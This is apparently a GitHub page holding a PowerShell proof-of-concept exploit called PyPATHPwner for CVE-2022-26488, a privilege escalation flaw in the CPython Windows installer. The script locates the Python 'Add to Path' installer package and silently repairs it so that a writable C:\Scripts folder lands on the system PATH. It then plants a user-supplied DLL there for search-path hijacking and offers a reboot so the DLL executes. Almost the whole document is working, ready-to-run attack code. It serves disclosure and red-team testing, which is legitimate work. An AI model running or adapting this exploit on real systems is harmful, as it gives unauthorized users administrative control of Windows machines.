README.md
Rendering markdown...
function Get-FileMetaData {
<#
.SYNOPSIS
Small function that gets metadata information from file providing similar output to what Explorer shows when viewing file
.DESCRIPTION
Small function that gets metadata information from file providing similar output to what Explorer shows when viewing file
.PARAMETER File
FileName or FileObject
.EXAMPLE
Get-ChildItem -Path $Env:USERPROFILE\Desktop -Force | Get-FileMetaData | Out-HtmlView -ScrollX -Filtering -AllProperties
.EXAMPLE
Get-ChildItem -Path $Env:USERPROFILE\Desktop -Force | Where-Object { $_.Attributes -like '*Hidden*' } | Get-FileMetaData | Out-HtmlView -ScrollX -Filtering -AllProperties
.NOTES
Source: https://evotec.xyz/getting-file-metadata-with-powershell-similar-to-what-windows-explorer-provides/
#>
[CmdletBinding()]
param (
[Parameter(Position = 0, ValueFromPipeline)][Object] $File,
[switch] $Signature
)
Process {
foreach ($F in $File) {
$MetaDataObject = [ordered] @{}
if ($F -is [string]) {
$FileInformation = Get-ItemProperty -Path $F
} elseif ($F -is [System.IO.DirectoryInfo]) {
#Write-Warning "Get-FileMetaData - Directories are not supported. Skipping $F."
continue
} elseif ($F -is [System.IO.FileInfo]) {
$FileInformation = $F
} else {
Write-Warning "Get-FileMetaData - Only files are supported. Skipping $F."
continue
}
$ShellApplication = New-Object -ComObject Shell.Application
$ShellFolder = $ShellApplication.Namespace($FileInformation.Directory.FullName)
$ShellFile = $ShellFolder.ParseName($FileInformation.Name)
$MetaDataProperties = [ordered] @{}
0..400 | ForEach-Object -Process {
$DataValue = $ShellFolder.GetDetailsOf($null, $_)
$PropertyValue = (Get-Culture).TextInfo.ToTitleCase($DataValue.Trim()).Replace(' ', '')
if ($PropertyValue -ne '') {
$MetaDataProperties["$_"] = $PropertyValue
}
}
foreach ($Key in $MetaDataProperties.Keys) {
$Property = $MetaDataProperties[$Key]
$Value = $ShellFolder.GetDetailsOf($ShellFile, [int] $Key)
if ($Property -in 'Attributes', 'Folder', 'Type', 'SpaceFree', 'TotalSize', 'SpaceUsed') {
continue
}
If (($null -ne $Value) -and ($Value -ne '')) {
$MetaDataObject["$Property"] = $Value
}
}
if ($FileInformation.VersionInfo) {
$SplitInfo = ([string] $FileInformation.VersionInfo).Split([char]13)
foreach ($Item in $SplitInfo) {
$Property = $Item.Split(":").Trim()
if ($Property[0] -and $Property[1] -ne '') {
$MetaDataObject["$($Property[0])"] = $Property[1]
}
}
}
$MetaDataObject["Attributes"] = $FileInformation.Attributes
$MetaDataObject['IsReadOnly'] = $FileInformation.IsReadOnly
$MetaDataObject['IsHidden'] = $FileInformation.Attributes -like '*Hidden*'
$MetaDataObject['IsSystem'] = $FileInformation.Attributes -like '*System*'
if ($Signature) {
$DigitalSignature = Get-AuthenticodeSignature -FilePath $FileInformation.Fullname
$MetaDataObject['SignatureCertificateSubject'] = $DigitalSignature.SignerCertificate.Subject
$MetaDataObject['SignatureCertificateIssuer'] = $DigitalSignature.SignerCertificate.Issuer
$MetaDataObject['SignatureCertificateSerialNumber'] = $DigitalSignature.SignerCertificate.SerialNumber
$MetaDataObject['SignatureCertificateNotBefore'] = $DigitalSignature.SignerCertificate.NotBefore
$MetaDataObject['SignatureCertificateNotAfter'] = $DigitalSignature.SignerCertificate.NotAfter
$MetaDataObject['SignatureCertificateThumbprint'] = $DigitalSignature.SignerCertificate.Thumbprint
$MetaDataObject['SignatureStatus'] = $DigitalSignature.Status
$MetaDataObject['IsOSBinary'] = $DigitalSignature.IsOSBinary
}
[PSCustomObject] $MetaDataObject
}
}
}
function Find-PythonAddToPathMSI {
$Files = Get-ChildItem c:\windows\installer
foreach ($File in $Files){
$Subject = Get-FileMetaData -File $File -Signature | select Subject
if ($Subject -like "*Python*Add to Path*"){
return $File
}
}
}
function art {
$art =
"
██████╗ ██╗ ██╗██████╗ █████╗ ████████╗██╗ ██╗██████╗ ██╗ ██╗███╗ ██╗███████╗██████╗
██╔══██╗╚██╗ ██╔╝██╔══██╗██╔══██╗╚══██╔══╝██║ ██║██╔══██╗██║ ██║████╗ ██║██╔════╝██╔══██╗
██████╔╝ ╚████╔╝ ██████╔╝███████║ ██║ ███████║██████╔╝██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝
██╔═══╝ ╚██╔╝ ██╔═══╝ ██╔══██║ ██║ ██╔══██║██╔═══╝ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗
██║ ██║ ██║ ██║ ██║ ██║ ██║ ██║██║ ╚███╔███╔╝██║ ╚████║███████╗██║ ██║
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
Exploit for CVE-2022-26488 discovered by the Lockheed Martin Red Team
Written by: Spencer Alessi @techspence
"
$art
}
function Invoke-PyPATHPwner {
<#
.SYNOPSIS
POC Exploit for CVE-2022-26488 - Python for Windows (CPython) escalation of privilege vulnerability, discovered by the Lockheed Martin Red Team.
.DESCRIPTION
CVE-2022-26488 is an escalation of privilege vulnerability in the Windows installer for the following releases of CPython:
- 3.11.0a6 and earlier
- 3.10.2 and earlier
- 3.9.10 and earlier
- 3.8.12 and earlier
- 3.7.12 and earlier
- All end-of-life releases of 3.5 and 3.6
The vulnerability exists when installed for all users with the "Add
Python to PATH" option selected. A local user without administrative
permissions can trigger a repair operation of this PATH option to add
incorrect additional paths to the system PATH variable, and then use
search path hijacking to achieve escalation of privilege. Per-user
installs (the default) are also affected, but cannot be used for
escalation of privilege.
.PARAMETER DllPath
The path to your totally legit dll
.PARAMETER NewDllName
Optional parameter to rename your totally legit dll
.EXAMPLE
Invoke-PyPATHPwner -DllPath c:\users\pentest\desktop\hijacker.dll
.EXAMPLE
Invoke-PyPATHPwner -DllPath c:\users\pentest\desktop\hijacker.dll -NewDllName WptsExtensions.dll
.EXAMPLE
Invoke-PyPATHPwner -DllPath C:\users\pentest\Desktop\adduser.dll -Verbose
.NOTES
https://mail.python.org/archives/list/[email protected]/thread/657Z4XULWZNIY5FRP3OWXHYKUSIH6DMN/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26488
https://hackandpwn.com/cve-2022-26488/
#>
[CmdletBinding()]
param(
[Parameter (Mandatory=$true)]
$DllPath,
[Parameter (Mandatory=$false)]
$NewDllName
)
if ($VerbosePreference -eq "Continue") {
$ShowArt = art
Write-Host $ShowArt -ForegroundColor DarkGreen
Write-Verbose "[!] Executing PyPATHPwner, please wait..."
} else {
Write-Host "`n[!] Executing PyPATHPwner, please wait..."
}
$PythonMSI = Find-PythonAddToPathMSI
Write-Verbose "[i] Initiating repair of Python Add to Path MSI with msiexec"
msiexec.exe /fa $PythonMSI.FullName /quiet
Write-Verbose "[i] Checking to see if Python Add to Path MSI repair was successful"
$PathFolder = 'C:\Scripts'
if (Test-Path -Path $PathFolder) {
Write-Verbose "[i] Python Add to Path MSI repair was successful"
}
Write-Verbose "[i] Checking the system PATH for new entries"
$PATH = $env:Path
$PathFolderEscaped = $PathFolder.Replace('\','\\')
if ($PATH -match $PathFolderEscaped){
if ($VerbosePreference -eq "Continue") {
Write-Verbose "[i] $PathFolder added to system PATH"
} else {
Write-Host "[i] $PathFolder added to system PATH"
}
$ACL = (Get-Acl $PathFolder).Access | Where-Object {$_.IdentityReference -eq 'NT AUTHORITY\Authenticated Users' -and $_.FileSystemRights -match 'Modify' -and $_.AccessControlType -eq 'Allow'}
if ($ACL) {
if ($VerbosePreference -eq "Continue") {
Write-Verbose "[i] $($ACL.IdentityReference) now has $($ACL.FileSystemRights) rights on $PathFolder"
} else {
Write-Host "[i] $($ACL.IdentityReference) now has $($ACL.FileSystemRights) rights on $PathFolder"
}
}
}
Write-Verbose "[i] Moving our payload in place"
Copy-Item $DllPath -Destination $PathFolder
$DllName = $DllPath | Select-String -Pattern "\w+.dll" | % {$_.Matches} | % {$_.Value}
$NewDLLPath = $PathFolder + '\' + $DllName
if (Test-Path $NewDLLPath){
Write-Verbose "[i] $DllPath moved successfully to $NewDLLPath"
} else {
Write-Verbose "[ERROR] $DllPath didn't copy successfully"
}
if ($NewDllName) {
$NewDllPathNewName = $PathFolder + '\' + $NewDllName
if ($VerbosePreference -eq "Continue") {
Write-Verbose "[i] Renaming $DllName to $NewDllName"
} else {
Write-Host "[i] Renaming $DllName to $NewDllName"
}
Move-Item $NewDLLPath -Destination $NewDllPathNewName -Force
}
$Reboot = Read-Host -Prompt "[i] Would you like to reboot? (y/n)"
if ($Reboot.ToLower() -eq 'y') {
Write-Host "[!] Rebooting in 60 seconds. To cancel the reboot run: shutdown -a"
shutdown -r -t 60
} else {
Write-Host "[i] NOT rebooting. You will have to find another way to execute your dll or wait patiently"
}
Write-Host "[+] PyPathPwner is finished. May the odds be ever in your favor"
}